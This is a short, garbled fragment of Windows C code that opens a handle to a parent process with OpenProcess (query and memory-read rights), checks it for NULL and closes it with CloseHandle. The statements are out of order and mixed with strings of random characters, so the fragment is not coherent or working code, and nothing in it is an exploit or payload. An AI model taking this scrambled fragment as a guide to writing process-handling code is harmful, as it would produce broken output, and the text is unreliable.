qjy R_}(p2 CloseHandle(hProcess); @ ri.r1 Fk:(%ci hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /uVB[Tk^ if(hProcess==NULL) return 0; &Re |